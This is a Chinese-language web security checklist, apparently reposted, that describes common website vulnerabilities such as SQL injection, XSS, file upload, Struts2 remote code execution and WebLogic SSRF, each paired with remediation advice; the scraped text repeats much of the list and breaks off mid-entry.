  6、盗取网站用户信息:当窃取到用户cookie从而获取到用户身份时,攻击者可以盗取到用户对网站的操作权限,从而查看用户隐私信息。
  7、垃圾信息发送:在社交网站社区中,利用XSS漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。
  8、劫持用户Web行为:一些高级的XSS攻击甚至可以劫持用户的Web行为,从而监视用户的浏览历史、发送与接收的数据等等。
  9、XSS蠕虫:借助XSS蠕虫病毒还可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施DDoS攻击等。
  修复建议
  xss漏洞本质上是一种html注入,也就是将html代码注入到网页中。那么其防御的根本就是在将用户提交的代码显示到页面上时做好一系列的过滤与转义
  (1)假定所有输入都是可疑的,必须对所有输入中的script、iframe等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP请求中的Cookie中的变量,HTTP请求头部中的变量等。
  (2)不仅要验证数据的类型,还要验证其格式、长度、范围和内容。
  (3)不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
  (4)对输出的数据也要检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行安全检查。
(7)目标服务器启用了不安全HTTP方法
  漏洞描述
  目标服务器启用了不安全的传输方法,如PUT、TRACE、DELETE、MOVE等,这些方法表示可能在服务器上使用了 WebDAV,由于dav方法允许客户端操纵服务器上的文件,如上传、修改、删除相关文件等危险操作,如果没有合理配置dav,有可能允许未授权的用户对其进行利用,修改服务器上的文件。
  修复建议
  1、关闭不安全的传输方法,推荐只使用POST、GET方法!
  2、如果服务器不需要支持 WebDAV,请务必禁用它。
  或者为允许webdav的目录配置严格的访问权限,如认证方法,认证需要的用户名,密码。
(8)任意文件上传
  漏洞描述
  文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严或webserver相关解析漏洞未修复而造成的,如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,攻击者可通过 Web 访问的目录上传任意文件,包括网站后门文件(webshell),进而远程控制网站服务器。
  攻击者可通过此漏洞上传恶意脚本文件,对服务器的正常运行造成安全威胁!
  修复建议
  1、对上传文件类型进行限制,并且不能只做前端的限制,而要前端和后端一起限制,后端可以进行扩展名检测,重命名文件,MIME类型检测以及限制上传文件的大小,或是将上传的文件放在安全的路径下,尽量放于webserver之外的远程服务器等。
  2、严格限制和校验上传的文件,禁止上传恶意代码的文件。同时限制相关目录的执行权限,防范webshell攻击。
  3、对上传文件格式进行严格校验及安全扫描,防止上传恶意脚本文件;
  4、设置权限限制,禁止上传目录的执行权限;
  5、严格限制可上传的文件类型;
  6、严格限制上传的文件路径。
  7、文件扩展名服务端白名单校验。
  8、文件内容服务端校验。
  9、上传文件重命名。
  10、隐藏上传文件路径。
(9)测试页面泄漏在外网
  漏洞描述
  一些测试页面泄漏到外网,导致外界误传公司被黑客入侵,影响公司声誉。
  修复建议
  删除测试页面以及无用文件,例如test.cgi,phpinfo.php,info.pho, .svn/entries等。
(10)目录浏览
  漏洞描述
  由于服务器端配置不当,开启了目录浏览,黑客可获得服务器上的文件目录结构,从而下载敏感文件。
  修复建议
  通过修改配置文件,去除中间件(如IIS、apache、tomcat)的文件目录索引功能
  2.设置目录权限
  3.在每个目录下创建一个空的index.html页面。
(11)phpinfo信息泄漏
  漏洞描述
  Web站点的某些测试页面可能会使用到PHP的phpinfo()函数,会输出服务器的关键信息,从而造成信息泄露,通过获取的信息可进行下一步的攻击计划!
  修复建议
  删除该PHP文件!
(12)未授权访问
  漏洞描述
  由于没有对相关敏感页面进行访问权限的检查,导致攻击者可未授权访问,从而获取敏感信息及进行未授权操作等!
  修复建议
  对相关页面进行严格的访问权限的控制以及对访问角色进行权限检查!
(13)越权访问
  漏洞描述
  由于没有对用户访问角色的权限进行严格的检查及限制,导致当前账号可对其他账号进行相关操作,如查看、修改等!
  修复建议
  对用户访问角色的权限进行严格的检查及限制!
(14)命令执行漏洞
  漏洞描述
  命令执行漏洞是指代码未对用户可控参数做过滤,导致直接带入执行命令的代码中,对恶意构造的语句,可被用来执行任意命令。黑客可在服务器上执行任意命令,写入后门,从而入侵服务器,获取服务器的管理员权限,危害巨大。
  修复建议
  严格过滤用户输入的数据,禁止执行非预期系统命令!
(15)应用程序错误信息泄露
  漏洞描述
  黑客可通过特殊的攻击向量,使web服务器出现500、404等相关错误,导致信息泄漏如绝对路径、webserver版本、源代码、sql语句等敏感信息,恶意攻击者很有可能利用这些信息实施进一步的攻击。
  修复建议
  1、自定义错误页面或归一化错误页面信息提示!
  2、修正代码!
(16)LDAP注入
  漏洞描述
  由于Web 应用程序没有对用户提供的输入进行适当过滤和检查,攻击者便有可能修改LDAP 语句的结构,并且以(例如:数据库服务器、Web 应用程序服务器、Web 服务器)的权限执行任意命令,许可权可能会允许查询、修改或除去 LDAP 树状构造内任何数据。
  修复建议
  对用户的输入进行严格的过滤及检查,并且对类型也进行检查!
(17)文件包含漏洞
  漏洞描述
  本地文件包含是指程序代码在处理包含文件的时候没有严格控制。利用这个漏洞,攻击者可以先把上传的静态文件,或网站日志文件作为代码执行,或者包含远程服务器上的恶意文件,进而获取到服务器权限。
  修复建议
  1、严格检查变量是否已经初始化。
  2、对所有输入提交可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现../之类的目录跳转符。
  3、严格检查include类的文件包含函数中的参数是否外界可控。
  4、不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
(18)网站敏感压缩文件泄露
  漏洞描述
  误将网站备份文件或是敏感信息文件存放在某个网站目录下,外部黑客可通过暴力破解文件名等方法下载该备份文件,导致网站敏感信息泄露。
  修复建议
  1、不要在网站目录下存放网站备份文件或敏感信息的文件。
  2、如需存放该类文件,请将文件名命名为难以猜解的字符串。
(19)CRLF HTTP 头部注入漏洞
  漏洞描述
  CRLF 是“回车 +换行”(\r\n)的简称。在 HTTP 协议中,HTTPHeader 与 HTTP Body 是用两个 CRLF 符号进行分隔的,浏览器根据这两个 CRLF 符号来获取 HTTP 内容并显示。因此,一旦攻击者能够控制 HTTP 消息头中的字符,注入一些恶意的换行,就能注入一些会话 Cookie 或者 HTML 代码。
  修复建议
  过滤 \r 、\n 之类的换行符,避免输入的数据污染到其他 HTTP 消息头。
(20)URL 跳转漏洞
  漏洞描述
  Web 程序直接跳转到参数中的 URL ,或页面引入任意的开发者 URL,被攻击者利用可实施钓鱼攻击等操作。
  修复建议
  在控制页面转向的地方校验传入的URL是否为可信域名。
(21)Crossdomain.xml 配置不当
  漏洞描述
  网站根目录下的 crossdomain.xml 文件指明了远程Flash 是否可以加载当前网站的资源(图片、网页内容、Flash等)。如果配置不当,可能导致遭受跨站请求伪造(CSRF)攻击。
  修复建议
  对于不需要从外部加载资源的网站,在 crossdomain.xml 文件中更改allow-access-from的domain属性为域名白名单。
(22)敏感信息泄露
  漏洞描述
  在页面中或者返回的响应包中泄露了敏感信息,通过这些信息,攻击者可进一步渗透。
  修复建议
  1、如果是探针或测试页面等无用的程序建议删除,或者修改不易被猜到的名字。
  2、禁用泄露敏感信息的页面或应用。
  3、对相关敏感信息进行模糊化处理,在服务器端进行!
  4、对服务器端返回的数据进行严格的检查,满足查询数据与页面显示数据一致,切勿返回多于的数据!
(23)任意文件下载
  漏洞描述
  文件下载处由于未对下载路径进行过滤,利用路径回溯符../跳出程序本身的限制目录实现来下载任意文件,如下载系统密码文件等!
  修复建议
  对下载路径进行过滤,如下载前对传入的参数进行过滤,并且对下载文件类型进行检查,是否是允许下载的类型,另外禁止使用回溯符../!
(24)weblogic SSRF服务器请求伪造
  漏洞描述
  目标存在weblogic SSRF服务器请求伪造漏洞。WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。Weblogic中间件默认带有“UDDI 目录浏览器”且为未授权访问,通过该应用,可进行无回显的SSRF请求。攻击者可利用该漏洞对企业内网进行大规模扫描,了解内网结构,并可能结合内网漏洞直接获取服务器权限。
  修复建议
  删除uddiexplorer文件夹
  2.限制uddiexplorer应用只能内网访问
(25)目标站点存在网马
  漏洞描述
  经渗透测试发现目标站点存在有webshell,攻击者可进行远程连接操作,进行恶意操作!
  修复建议
  删除可疑文件,并进行本地文件漏洞扫描排查是否还存在有其他木马!
  使用相关手段发现并及时修复已存在的漏洞!
(26)IIS短文件名泄露漏洞
  漏洞描述
  Internet Information Services(IIS,互联网信息服务)是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。 Microsoft IIS在实现上存在文件枚举漏洞,攻击者可利用此漏洞枚举网络服务器根目录中的文件。危害:攻击者可以利用“~”字符猜解或遍历服务器中的文件名,或对IIS服务器中的.Net Framework进行拒绝服务攻击。
  黑客可通过该漏洞尝试获取网站服务器下存放文件的文件名,达到获取更多信息来入侵服务器的目的。
  修复建议
  修改Windows配置,关闭短文件名功能。
  1.关闭NTFS 8.3文件格式的支持。该功能默认是开启的,对于大多数用户来说无需开启。
  2.如果是虚拟主机空间用户,可采用以下修复方案:
  1)修改注册列表HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation的值为1(此修改只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除)。
  2)如果你的web环境不需要asp.net的支持你可以进入Internet 信息服务(IIS)管理器 --- Web 服务扩展 - ASP.NET 选择禁止此功能。
  3)升级net framework 至4.0以上版本。
  3.将web文件夹的内容拷贝到另一个位置,比如D:\www到D:\www.back,然后删除原文件夹D:\www,再重命名D:\www.back到D:\www。如果不重新复制,已经存在的短文件名则是不会消失的。
(27)Apache Struts2 远程代码执行漏洞(S2-019)
  漏洞描述
  Apache Struts2的“Dynamic MethodInvocation”机制是默认开启的,仅提醒用户如果可能的情况下关闭此机制,如果未关闭此机制将导致远程代码执行漏洞,远程攻击者可利用此漏洞在受影响应用上下文中执行任意代码。
  修复建议
  1、目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载!
  2、或者手工设置struts.xml文件<constantname="struts.enable.DynamicMethodInvocation"value="false"/>
(28)Apache Struts2 远程代码执行漏洞(S2-037)
  漏洞描述
  Apache Struts2在使用REST插件时,攻击者可以绕过动态方法执行的限制,调用恶意表达式执行远程代码。
  修复建议
  建议用户到官方获取最新补丁或者最新版本程序!
(29)Apache Struts2 DevMode 远程代码执行漏洞
  漏洞描述
  为了便于开发人员调试程序,Struts2提供了一个devMode模式,可以方便查看程序错误以及日志等信息。当Struts2中的devMode模式设置为true时,存在严重远程代码执行漏洞。如果WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。
  修复建议
  建议用户到官方获取最新补丁或者最新版本程序!
  或者将struts.properties中的devMode设置为false,或是在struts.xml中添加如下代码: <constant name="struts.devMode"value="false"/>。
(30)Apache Struts2 远程代码执行漏洞(S2-045)
  漏洞描述
  Apache Struts2的Jakarta Multipartparser插件存在远程代码执行漏洞,漏洞编号为CVE-2017-5638。攻击者可以在使用该插件上传文件时,修改HTTP请求头中的Content-Type值来触发该漏洞,导致远程执行代码。
  修复建议
  检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞!
  1、建议用户到官方获取最新补丁或者最新版本程序!
  2、更新至Strusts2.3.32或者Strusts2.5.10.1,或使用第三方的防护设备进行防护。
  3、临时解决方案:删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。
  4、修改WEB-INF/classes目录下的配置
  在WEB-INF/classes目录下的struts.xml中的struts 标签下添加
  <constantname=”struts.custom.i18n.resources”value=”global”/>;
  在WEB-INF/classes/目录下添加global.properties,文件内容如下:
  struts.messages.upload.error.InvalidContentTypeException=1
(31)Apache Struts2 远程代码执行漏洞(S2-033)
  漏洞描述
  Apache Struts2在开启动态方法调用(DynamicMethod Invocation)的情况下,攻击者使用REST插件调用恶意表达式可以远程执行代码。
  修复建议
  1、用户到官方获取最新补丁或者最新版本程序!
  2、或者在允许的情况下禁用动态方法调用(Dynamic Method Invocation),修改Struts2的配置文件struts.xml,将struts.enable.DynamicMethodInvocation设置为“false”。
(32)目标URL存在httphost头攻击漏洞
  漏洞描述
  为了方便的获得网站域名,开发人员一般依赖于HTTP Host header,但是这个header是不可信赖的,如果应用程序没有对host header值进行处理,就有可能造成恶意代码的传入。
  修复建议
  web应用程序应该使用SERVER_NAME而不是host header。
  在Apache和Nginx里可以通过设置一个虚拟机来记录所有的非法host header。在Nginx里还可以通过指定一个SERVER_NAME名单,Apache也可以通过指定一个SERVER_NAME名单并开启UseCanonicalName选项。
(33)登录绕过漏洞
  漏洞描述
  由于对登录的账号及口令校验存在逻辑缺陷,或再次使用服务器端返回的相关参数作为最终登录凭证,导致可绕过登录限制,如服务器返回一个flag参数作为登录是否成功的标准,但是由于代码最后登录是否成功是通过获取这个flag参数来作为最终的验证,导致攻击者通过修改flag参数即可绕过登录的限制!
  修复建议
  修改验证逻辑,如是否登录成功服务器端返回一个参数,但是到此就是最终验证,不需要再对返回的参数进行使用并作为登录是否成功的最终判断依据!
(34)短信/邮件轰炸
  漏洞描述
  由于没有对短信或者邮件发送次数进行限制,导致可无限次发送短信或邮件给用户,从而造成短信轰炸,进而可能被大量用户投诉,从而影响公司声誉!
  修复建议
  对发送短信或邮件的次数进行限制,如1分钟只能发送1次短信或邮件,并且需要在服务器进行限制!
(35)slow http Dos拒绝服务
  漏洞描述
  按照设计,HTTP协议要求服务器在处理之前完全接收请求。 如果HTTP请求没有完成,或者传输速率非常低,服务器会保持其资源忙于等待其余数据。如果服务器保持太多的资源忙,这将造成一个拒绝服务。严重者一台主机即可让web运行缓慢甚至是崩溃!
  修复建议
  对于 Apache 可以做以下优化:
  设置合适的 timeout 时间(Apache 已默认启用了 reqtimeout 模块),规定了 Header 发送的时间以及频率和 Body 发送的时间以及频率
  增大 MaxClients(MaxRequestWorkers):增加最大的连接数。根据官方文档,两个参数是一回事,版本不同,MaxRequestWorkers was called MaxClients before version 2.3.13.Theold name is still supported.
  默认安装的 Apache 存在 Slow Attack 的威胁,原因就是虽然设置的 timeoute,但是最大连接数不够,如果攻击的请求频率足够大,仍然会占满Apache的所有连接
(36)web服务测试页面信息泄露
  漏洞描述
  由于没有删除默认的且与业务无关的页面,导致信息泄露,如:webserver版本信息、中间件类型及版本信息等,通过对这类信息的收集,攻击者可制定具有针对性的攻击计划!
  修复建议
  删除与业务无关的页面,如果是必须需要使用的中间件管理页面,建议对该页面进行访问权限的控制!
 
-----转自:http://www.51testing.com/html/92/n-3723692.html 查看全部
(1)Apache样例文件泄漏
  漏洞描述
  apache一些样例文件没有删除,可能存在cookie、session伪造,进行后台登录操作
  修复建议
  1、删除样例文件
  2、对apache中web.xml进行相关设置
(2)弱口令
  漏洞描述
  由于系统中存在有弱口令,导致攻击者通过弱口令可轻松登录系统中,从而进行下一步的攻击,如上传webshell,获取敏感数据!
  另外攻击者利用弱口令登录网站管理后台,可任意增删改等操作,从而造成负面影响!
  修复建议
  1、建议强制用户首次登录时修改默认口令,或是使用用户自定义初始密码的策略;
  2、 完善密码策略,信息安全最佳实践的密码策略为8位(包括)以上字符,包含数字、大小写字母、特殊字符中的至少3种。
  3、对管理后台进行访问控制,修改后台弱口令,加强口令强度并定期修改。
  4、增加验证机制,防爆破机制,限制ip+cookie访问次数。
(3)明文传输登录口令
  漏洞描述
  用户登录过程中使用明文传输用户登录信息,若用户遭受中间人攻击时,攻击者可直接获取该用户登录账户,从而进行进一步渗透。
  修复建议
  1、用户登录信息使用加密传输,如密码在传输前使用安全的算法加密后传输,可采用的算法包括:不可逆hash算法加盐(4位及以上随机数,由服务器端产生);安全对称加密算法,如AES(128、192、256位),且必须保证客户端密钥安全,不可被破解或读出;非对称加密算法,如RSA(不低于1024位)、SM2等。
  2、使用https来保证传输的安全。
(4)暴力破解
  漏洞描述
  由于没有对登录页面进行相关的防暴力破解机制,如无验证码、有验证码但验证码未在服务器端校验以及无登录错误次数限制等,导致攻击者可通过暴力破解获取用户登录账户及口令,从而获取网站登录访问权限!
  修复建议
  1、添加验证码机制,加入图片(验证码动态生成且满足随机性)或者短信验证码(验证码具备超时时限一般为1分钟,且在该时限内错误次数超过3次则进行锁定1分钟后方能重新获取验证码,超时后验证码自动失效)!
  2、验证码必须在服务器端进行校验,客户端的一切校验都是不安全的
(5)SQL注入漏洞
  漏洞描述
  Web程序代码中对于用户提交的参数未做过滤就直接放到SQL语句中执行,导致参数中的特殊字符打破了SQL语句原有逻辑,黑客可以利用该漏洞执行任意SQL语句,如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。
  修复建议
  代码层最佳防御sql漏洞方案:采用sql语句预编译和绑定变量,是防御sql注入的最佳方法。
  (1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。
  (2)对进入数据库的特殊字符(’”<>&*;等)进行转义处理,或编码转换。
  (3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。
  (4)数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。
  (5)网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。
  (6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
  (7)避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
(6)跨站脚本攻击(xss)漏洞
  漏洞描述
  1、Web程序代码中把用户提交的参数未做过滤或过了不严就直接输出到页面,参数中的特殊字符打破了HTML页面的原有逻辑,黑客可以利用该漏洞执行恶意HTML/JS代码、构造蠕虫传播、篡改页面实施钓鱼攻击、诱以及导用户再次登录,然后获取其登录凭证等。
  2、XSS攻击对Web服务器本身虽无直接危害,但是它借助网站进行传播,对网站用户进行攻击,窃取网站用户账号信息等,从而也会对网站产生较严重的危害。XSS攻击可导致以下危害:
  3、钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者通过注入钓鱼JavaScript脚本以监控目标网站的表单输入,甚至攻击者基于DHTML技术发起更高级的钓鱼攻击。
  4、网站挂马:跨站时,攻击者利用Iframe标签嵌入隐藏的恶意网站,将被攻击者定向到恶意网站上、或弹出恶意网站窗口等方式,进行挂马攻击。
  5、身份盗用:Cookie是用户对于特定网站的身份验证标志,XSS攻击可以盗取用户的cookie,从而利用该cookie盗取用户对该网站的操作权限。如果一个网站管理员用户的cookie被窃取,将会对网站引发巨大的危害。
  6、盗取网站用户信息:当窃取到用户cookie从而获取到用户身份时,攻击者可以盗取到用户对网站的操作权限,从而查看用户隐私信息。
  7、垃圾信息发送:在社交网站社区中,利用XSS漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。
  8、劫持用户Web行为:一些高级的XSS攻击甚至可以劫持用户的Web行为,从而监视用户的浏览历史、发送与接收的数据等等。
  9、XSS蠕虫:借助XSS蠕虫病毒还可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施DDoS攻击等。
  修复建议
  xss漏洞本质上是一种html注入,也就是将html代码注入到网页中。那么其防御的根本就是在将用户提交的代码显示到页面上时做好一系列的过滤与转义
  (1)假定所有输入都是可疑的,必须对所有输入中的script、iframe等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP请求中的Cookie中的变量,HTTP请求头部中的变量等。
  (2)不仅要验证数据的类型,还要验证其格式、长度、范围和内容。
  (3)不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
  (4)对输出的数据也要检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行安全检查。
(7)目标服务器启用了不安全HTTP方法
  漏洞描述
  目标服务器启用了不安全的传输方法,如PUT、TRACE、DELETE、MOVE等,这些方法表示可能在服务器上使用了 WebDAV,由于dav方法允许客户端操纵服务器上的文件,如上传、修改、删除相关文件等危险操作,如果没有合理配置dav,有可能允许未授权的用户对其进行利用,修改服务器上的文件。
  修复建议
  1、关闭不安全的传输方法,推荐只使用POST、GET方法!
  2、如果服务器不需要支持 WebDAV,请务必禁用它。
  或者为允许webdav的目录配置严格的访问权限,如认证方法,认证需要的用户名,密码。
(8)任意文件上传
  漏洞描述
  文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严或webserver相关解析漏洞未修复而造成的,如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,攻击者可通过 Web 访问的目录上传任意文件,包括网站后门文件(webshell),进而远程控制网站服务器。
  攻击者可通过此漏洞上传恶意脚本文件,对服务器的正常运行造成安全威胁!
  修复建议
  1、对上传文件类型进行限制,并且不能只做前端的限制,而要前端和后端一起限制,后端可以进行扩展名检测,重命名文件,MIME类型检测以及限制上传文件的大小,或是将上传的文件放在安全的路径下,尽量放于webserver之外的远程服务器等。
  2、严格限制和校验上传的文件,禁止上传恶意代码的文件。同时限制相关目录的执行权限,防范webshell攻击。
  3、对上传文件格式进行严格校验及安全扫描,防止上传恶意脚本文件;
  4、设置权限限制,禁止上传目录的执行权限;
  5、严格限制可上传的文件类型;
  6、严格限制上传的文件路径。
  7、文件扩展名服务端白名单校验。
  8、文件内容服务端校验。
  9、上传文件重命名。
  10、隐藏上传文件路径。
(9)测试页面泄漏在外网
  漏洞描述
  一些测试页面泄漏到外网,导致外界误传公司被黑客入侵,影响公司声誉。
  修复建议
  删除测试页面以及无用文件,例如test.cgi,phpinfo.php,info.pho, .svn/entries等。
(10)目录浏览
  漏洞描述
  由于服务器端配置不当,开启了目录浏览,黑客可获得服务器上的文件目录结构,从而下载敏感文件。
  修复建议
  通过修改配置文件,去除中间件(如IIS、apache、tomcat)的文件目录索引功能
  2.设置目录权限
  3.在每个目录下创建一个空的index.html页面。
(11)phpinfo信息泄漏
  漏洞描述
  Web站点的某些测试页面可能会使用到PHP的phpinfo()函数,会输出服务器的关键信息,从而造成信息泄露,通过获取的信息可进行下一步的攻击计划!
  修复建议
  删除该PHP文件!
(12)未授权访问
  漏洞描述
  由于没有对相关敏感页面进行访问权限的检查,导致攻击者可未授权访问,从而获取敏感信息及进行未授权操作等!
  修复建议
  对相关页面进行严格的访问权限的控制以及对访问角色进行权限检查!
(13)越权访问
  漏洞描述
  由于没有对用户访问角色的权限进行严格的检查及限制,导致当前账号可对其他账号进行相关操作,如查看、修改等!
  修复建议
  对用户访问角色的权限进行严格的检查及限制!
(14)命令执行漏洞
  漏洞描述
  命令执行漏洞是指代码未对用户可控参数做过滤,导致直接带入执行命令的代码中,对恶意构造的语句,可被用来执行任意命令。黑客可在服务器上执行任意命令,写入后门,从而入侵服务器,获取服务器的管理员权限,危害巨大。
  修复建议
  严格过滤用户输入的数据,禁止执行非预期系统命令!
(15)应用程序错误信息泄露
  漏洞描述
  黑客可通过特殊的攻击向量,使web服务器出现500、404等相关错误,导致信息泄漏如绝对路径、webserver版本、源代码、sql语句等敏感信息,恶意攻击者很有可能利用这些信息实施进一步的攻击。
  修复建议
  1、自定义错误页面或归一化错误页面信息提示!
  2、修正代码!
(16)LDAP注入
  漏洞描述
  由于Web 应用程序没有对用户提供的输入进行适当过滤和检查,攻击者便有可能修改LDAP 语句的结构,并且以(例如:数据库服务器、Web 应用程序服务器、Web 服务器)的权限执行任意命令,许可权可能会允许查询、修改或除去 LDAP 树状构造内任何数据。
  修复建议
  对用户的输入进行严格的过滤及检查,并且对类型也进行检查!
(17)文件包含漏洞
  漏洞描述
  本地文件包含是指程序代码在处理包含文件的时候没有严格控制。利用这个漏洞,攻击者可以先把上传的静态文件,或网站日志文件作为代码执行,或者包含远程服务器上的恶意文件,进而获取到服务器权限。
  修复建议
  1、严格检查变量是否已经初始化。
  2、对所有输入提交可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现../之类的目录跳转符。
  3、严格检查include类的文件包含函数中的参数是否外界可控。
  4、不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
(18)网站敏感压缩文件泄露
  漏洞描述
  误将网站备份文件或是敏感信息文件存放在某个网站目录下,外部黑客可通过暴力破解文件名等方法下载该备份文件,导致网站敏感信息泄露。
  修复建议
  1、不要在网站目录下存放网站备份文件或敏感信息的文件。
  2、如需存放该类文件,请将文件名命名为难以猜解的字符串。
(19)CRLF HTTP 头部注入漏洞
  漏洞描述
  CRLF 是“回车 +换行”(\r\n)的简称。在 HTTP 协议中,HTTPHeader 与 HTTP Body 是用两个 CRLF 符号进行分隔的,浏览器根据这两个 CRLF 符号来获取 HTTP 内容并显示。因此,一旦攻击者能够控制 HTTP 消息头中的字符,注入一些恶意的换行,就能注入一些会话 Cookie 或者 HTML 代码。
  修复建议
  过滤 \r 、\n 之类的换行符,避免输入的数据污染到其他 HTTP 消息头。
(20)URL 跳转漏洞
  漏洞描述
  Web 程序直接跳转到参数中的 URL ,或页面引入任意的开发者 URL,被攻击者利用可实施钓鱼攻击等操作。
  修复建议
  在控制页面转向的地方校验传入的URL是否为可信域名。
(21)Crossdomain.xml 配置不当
  漏洞描述
  网站根目录下的 crossdomain.xml 文件指明了远程Flash 是否可以加载当前网站的资源(图片、网页内容、Flash等)。如果配置不当,可能导致遭受跨站请求伪造(CSRF)攻击。
  修复建议
  对于不需要从外部加载资源的网站,在 crossdomain.xml 文件中更改allow-access-from的domain属性为域名白名单。
(22)敏感信息泄露
  漏洞描述
  在页面中或者返回的响应包中泄露了敏感信息,通过这些信息,攻击者可进一步渗透。
  修复建议
  1、如果是探针或测试页面等无用的程序建议删除,或者修改不易被猜到的名字。
  2、禁用泄露敏感信息的页面或应用。
  3、对相关敏感信息进行模糊化处理,在服务器端进行!
  4、对服务器端返回的数据进行严格的检查,满足查询数据与页面显示数据一致,切勿返回多于的数据!
(23)任意文件下载
  漏洞描述
  文件下载处由于未对下载路径进行过滤,利用路径回溯符../跳出程序本身的限制目录实现来下载任意文件,如下载系统密码文件等!
  修复建议
  对下载路径进行过滤,如下载前对传入的参数进行过滤,并且对下载文件类型进行检查,是否是允许下载的类型,另外禁止使用回溯符../!
(24)weblogic SSRF服务器请求伪造
  漏洞描述
  目标存在weblogic SSRF服务器请求伪造漏洞。WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。Weblogic中间件默认带有“UDDI 目录浏览器”且为未授权访问,通过该应用,可进行无回显的SSRF请求。攻击者可利用该漏洞对企业内网进行大规模扫描,了解内网结构,并可能结合内网漏洞直接获取服务器权限。
  修复建议
  删除uddiexplorer文件夹
  2.限制uddiexplorer应用只能内网访问
(25)目标站点存在网马
  漏洞描述
  经渗透测试发现目标站点存在有webshell,攻击者可进行远程连接操作,进行恶意操作!
  修复建议
  删除可疑文件,并进行本地文件漏洞扫描排查是否还存在有其他木马!
  使用相关手段发现并及时修复已存在的漏洞!
(26)IIS短文件名泄露漏洞
  漏洞描述
  Internet Information Services(IIS,互联网信息服务)是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。 Microsoft IIS在实现上存在文件枚举漏洞,攻击者可利用此漏洞枚举网络服务器根目录中的文件。危害:攻击者可以利用“~”字符猜解或遍历服务器中的文件名,或对IIS服务器中的.Net Framework进行拒绝服务攻击。
  黑客可通过该漏洞尝试获取网站服务器下存放文件的文件名,达到获取更多信息来入侵服务器的目的。
  修复建议
  修改Windows配置,关闭短文件名功能。
  1.关闭NTFS 8.3文件格式的支持。该功能默认是开启的,对于大多数用户来说无需开启。
  2.如果是虚拟主机空间用户,可采用以下修复方案:
  1)修改注册列表HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation的值为1(此修改只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除)。
  2)如果你的web环境不需要asp.net的支持你可以进入Internet 信息服务(IIS)管理器 --- Web 服务扩展 - ASP.NET 选择禁止此功能。
  3)升级net framework 至4.0以上版本。
  3.将web文件夹的内容拷贝到另一个位置,比如D:\www到D:\www.back,然后删除原文件夹D:\www,再重命名D:\www.back到D:\www。如果不重新复制,已经存在的短文件名则是不会消失的。
(27)Apache Struts2 远程代码执行漏洞(S2-019)
  漏洞描述
  Apache Struts2的“Dynamic MethodInvocation”机制是默认开启的,仅提醒用户如果可能的情况下关闭此机制,如果未关闭此机制将导致远程代码执行漏洞,远程攻击者可利用此漏洞在受影响应用上下文中执行任意代码。
  修复建议
  1、目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载!
  2、或者手工设置struts.xml文件<constantname="struts.enable.DynamicMethodInvocation"value="false"/>
(28)Apache Struts2 远程代码执行漏洞(S2-037)
  漏洞描述
  Apache Struts2在使用REST插件时,攻击者可以绕过动态方法执行的限制,调用恶意表达式执行远程代码。
  修复建议
  建议用户到官方获取最新补丁或者最新版本程序!
(29)Apache Struts2 DevMode 远程代码执行漏洞
  漏洞描述
